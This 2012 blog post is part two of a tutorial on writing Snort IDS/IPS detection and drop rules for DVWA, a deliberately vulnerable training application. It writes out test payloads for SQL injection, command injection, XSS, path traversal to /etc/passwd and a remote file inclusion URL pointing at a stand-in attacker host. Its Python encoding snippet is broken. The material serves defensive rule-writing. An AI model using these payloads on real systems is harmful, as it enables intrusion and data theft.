Tuesday, May 29, 2012

Using Snort IDS/IPS for web applications protection part II


At the first part of this tutorial i talked briefly about how to build your training lab ,which can help you to test your snort configurations and to test your written rules,i focused on the hub part because when i wanted to build a similar lab i did not find a way to build such this lab by GNS3 with  Snort , so the most tricky part was the hub and the reset things was available on the Internet.
 
At this part of our tutorial we have to write a rules that shall protect our web application.

Writing the Rules to protect your Web Application


We have a study case which is our DVWA (Damn vulnerable web application),this web application  for web security training,and many tutorials written to show you how to deal with,but i did not see any tutorial that talk about the Snort side because it is not a part of this application!.

We have a web application that contains many vulnerabilities:SQL injection,XSS,File inclusion,..etc.
Someone  will say I have a professional  web developers  so i don't need to use an IDS/IPS to protect my web application.

And I'll answer : It is not about you have a good or bad web developers,It is all about :
Are you sure 100% that your web application is not  vulnerable!?.

Ok lets go back to our rules,where you can find many tutorial to teach you how to write your own Snort rules,for web application rules you'll find tutorials but many of have a missing key which is: For what to write the rule?!.

We write Snort rules for the vulnerability and not for the exploit itself,this is what you must understand and believe in,because this is what snort designed for,you'll find many IDS/IPS based on attack signature,and not the vulnerability,use those IDS/IPS if you want to write for the attack!.

From my view point:  understanding  your web application structure is very important to write the rule for your web application ,let me explain more:

I did a Penetration testing for a some web applications, and then i asked myself if i want to write snort rules for some of those web applications  :

Q1:what  the rules that i have to write?.

Q2:How to avoid the stream of FP/FN (False Positive/Negative)?
Q3:How to be sure that my rule will not prevent a correct http requests? 
A:I want rules (for example) that can detect any sql injection attack,i don't want this rule to be triggered in any other place that do not interact with the backend database,because if this happen then i'll get a high FP, the SQL injection attack for my web application is the one it can talk with the back-end DB ,and i don't care if the attacker sent an attack to the place which does not interact with my DB.
 
And i don't want to write a large number of rules to detect  the sql injection attacks for example a rule to detect an attack like this :

' or 1=1;# since we're using the DVWA which use mysql db
and another rule to detect an attack using a like C comment ,like this one:
/****/'/*****/o/*****/r/****/1=1/*****/;#
and another rule to detect
/****/'/*****/o/*****/r/***********/1/*****/=1/*****************************/;#

and many other attacks forms like the union one ...etc.

I want a rule to block the SQL injection vulnerability and i want this rule to protect my web application and what protect my web application does not always protects the others, because from my view point every web application is a unique case!.

And i askd myself a stupid question what if my name is: union/select/delete/drop..etc?.

So what did i do?

Lets take a basic form of an SQL injection attack that i'll use to attack our dvwa:

I inserted  in the user ID the following attack:


' or 1=1;#

How can i detect this kind of attcks?
let me try to do this:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORT (msg:"[The system detected Sql Injection Attack-1]"; flow:to_server,established; uricontent:"/?id";nocase;pcre:"/(((\?id=)|(\?id%3D))(\w*)(((\')|(\%27))((\w+)|(\W+)|(\D+)|(\d+))))/ix"; classtype:web-application-attack; sid:1000015; rev:1;)

This is the regular expression:
(((\?id=)|(\?id%3D))(\w*)(((\')|(\%27))((\w+)|(\W+)|(\D+)|(\d+))))

lets read this regexp:

This rule supposed to detect sql attacks that comes from a url with parameter "id"  to understand why i have used the uricontent i prefer to let you read the snort manual then i recommend for you this post ,but pleas read this manual if you did not yet ,this is very important.

If the URL contains the id then we'll search the parameter content, by using the regular expression, we'll search for zero or more any word character,followed by the single quotation this single quotation followed by one or more  any word character or one or more  none word character or one or more  none digit  or one or more  digit.

So if i inserted our first attack then it shall be detected like this:

' or 1=1;#

http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=
matches the uricontent pattern with parameter value ' or 1=1;#

this is a week rule let me show you why:
/*********/'/*************/or/************/1=1/***************/;#

By this attack the rule wont work :),as you can see it is easy to bypass,take a look at the url:
http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=%2F*********%2F%27%2F*************%2For%2F************%2F1%3D1%2F***************%2F%3B%23&Submit=Submit#

If you send a data that contains meta charterers the meta chars will be encoded  as you can see you did not send "/" you sent %2F

Q:How can i solve this?
A:i did this by:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORT  (msg:"[The system detected Sql Injection Attack-2]"; flow:to_server,established; uricontent:"/?id";nocase; pcre:"/(((\?id=)|(\?id%3D)).{0,}(\%3b)|(\;).{0,}((\#)|(\%23)))/ix"; classtype:web-application-attack; sid:1000011; rev:1;)

"/(((\?id=)|(\?id%3D)).{0,}(\%3b)|(\;).{0,}((\#)|(\%23)))/ix";

Did you note the dot?,it  matches any single character ,and we have {0,}at least zero it is like zero or more (*),then we have the (;) and again zero or more single character then the (#)

So how can i test our rule?,  i'll use the last rule by running the prevention  mode:


drop tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORT  (msg:"[The system detected Sql Injection Attack-2]"; flow:to_server,established; uricontent:"/?id";nocase; pcre:"/(((\?id=)|(\?id%3D)).{0,}(\%3b)|(\;).{0,}((\#)|(\%23)))/ix"; classtype:web-application-attack; sid:1000011; rev:1;)



if you want to run the prevention mode do this command (I suppose that you have the write configurations) :

~$ snort  --daq afpacket -Q -c /etc/snort/snort.conf -i eth1:eth2


Try Those attacks:

' or 1=1;#
/*********/'/*************/or/************/1=1/***************/;#

 Then try to change the security level to medium on your DVWA and try to do this:

1 union select user_id,password from users where user_id >10 or 1=1;#

/*********/1 /*************/or/************/1=1/***************/;#

then try and try :)

The user id field shall deal with users id numbers/charterers in general.
 

 

Command Execution vulnerability


The DVWA vulnerable for command execution where the attacker can execute commands on the server for example ls -lth and more !.

The web application asking the users to insert an ip adress to ping the host that holding the ip address.

I can use this rule and trust it on my server that using the “DVWA” because it is customised to be used on on this site!. It will prevent  command execution attempt, the possible ways (that i know) to execute such kind of commands are:

xxx.xxx.xxx.xxx;cmd

xxx.xxx.xxx.xxx|cmd

xxx.xxx.xxx.xxx&cmd


;cmd

|cmd

&cmd

X;cmd

X|cmd

X&cmd

where xxx.xxx.xxx.xxx is any ip address,cmd is the command injected by the attacker,X is any character.

If we increased the level to medium we can bypass it by adding additional meta character ,but we still can prevent it by our rule.

If the attacker tried to use the equivalents hexadecimal code the rule will prevent it.


drop tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Web-Attack [Command execution attempt-2]"; flow:to_server,established; uricontent:"/exec/"; nocase; pcre:"/((((\w*)|(\d*)|(\D*)|(.*))((\%3b)|(\;)((\w*)|(\d*)|(\D*)|(.))[^&submit])|((\%7C)|(\|)[^&submit])|((\%26)|(&)[^submit])(\w+)[&submit]))/ix"; classtype:web-application-attack; sid:10000018;rev:1;)


Rules to detect XSS Attacks


As an Example of this kind of attacks:

<script>alert("if the application accepted this then it is vulnerable");<script>

this is the same of the above attack :D 

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%e2%80%9c%54%68%69%73%20%69%73%20%61%20%74%65%73%74%69%6e%67%20%41%74%74%61%63%6b%20%69%66%20%74%68%65%20%70%61%67%65%20%61%63%63%65%70%74%65%64%20%74%68%69%73%20%61%74%74%61%63%6b%20%74%68%65%6e%20%69%74%20%69%73%20%76%75%6c%6e%65%72%61%62%6c%65%21%e2%80%9d%29%3c%2f%73%63%72%69%70%74%3e

you can convert it by this python code:
attack= raw_input("your Attack : ")
converted_
attack= ""
for a_char in
attack:
   
converted_attack +="%"+hex(ord(c)).split("x")[1]
print(
converted_attack
the following rule can detect both forms of the atack:

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"[XSS Attack--3]"; flow:to_server,established; pcre:"/(((\%3e\%3c)|(\%3c))((\w*)([.]*|([\n]*.[\n]*)|[\r]*.[\r]*)(\w*))|((\%[0-9a-f]+)+)(%3e))/ix"; classtype:web-application-attack; sid:1000071; rev:1;)
 

But it gives a FP (false positive), on the case of 1<2 , i want attacks that contains html tags or java sctript tags i don't expect on our DVWA that some one have a name: <someone>

 so to improve  it i did:

drop tcp  $EXTERNAL_NET any -> $HOME_NET 80 (msg:"[XSS Attack]"; flow:to_server,established; pcre:"/(((\%3e)+|(\%3e\%3c)+|(\%3c)+))(((\w*)([.]*|([\n]*.[\n]*)|[\r]*.[\r]*)(\w*))|((\%[0-9a-f]+)+))(%3e))/ix"; classtype:web-application-attack; sid:1000071; rev:1;)

only attacks that will start and end with < and >shall considered attacks which includes atacks like: >< somthing >>>
Do you think it is a good idea to ignore the cases such as : 1 < 2 for example?!.
Do you know that the DVWA at the page of sql injection also vulnerable for XSS attacks and this is why i did not limit this rule to work on the XSS attacks pages!.

Try to do this :

http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=1+%3Cscript%3Ealert%28%22am+also+vlunerable%22%29%3C%2Fscript%3E&Submit=Submit#

Rules to detect File inclusion 

To prevent this kind of attacks i want to ensure that the user can not change the path and the path can only be changed from the server.

Two rules written for this type of attacks one for remote Attacks and one for local attacks .

I wrote both rules in 20 minutes so i expect suggestions :),not only for those rules but for all the above rules,some people may say :we needs the  File traversal,...ok but in our case study i don't need it.

drop tcp  $EXTERNAL_NET any -> $HOME_NET 80 (msg:"[File Inclusion Attempt-With File traversal]"; flow:to_server,established;uricontent:"/?page=";nocase; pcre:"/(((\/?page=)|(\/?page%3D))((((\.)|(\%2e))+((\/)|(\%2f)))+(\w)*))/ix"; classtype:web-application-attack; sid:10000122; rev:1;)


Try for example:http://192.168.1.8/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

For Remote Attacks:

drop tcp
$EXTERNAL_NET any -> $HOME_NET 80(msg:"[Remot-File Inclusion Attempt]"; flow:to_server,established; pcre:"/(((\/?page=)|(\/?page%3D))((\w)*(http:\/\/))+(\w)*)/ix"; classtype:web-application-attack; sid:10000121; rev:1;)

Try for example : 

http://192.168.1.8/dvwa/vulnerabilities/fi/?page=http://attackerSite.com/TheDamitScript.txt
You can use both rules in IDS mode just change the drop to alert and run the snort on IDS mode.



-Any suggestions?
-Any correction?
GoOoD Luck :)




3 comments:

  1. Your style іs so unique in сomparison to other people I have read
    stuff fгom. Many thanks for posting when you have the opportunity, Guess Ι wіll
    just book marκ this blog.
    My website > Rmgbd.org

    ReplyDelete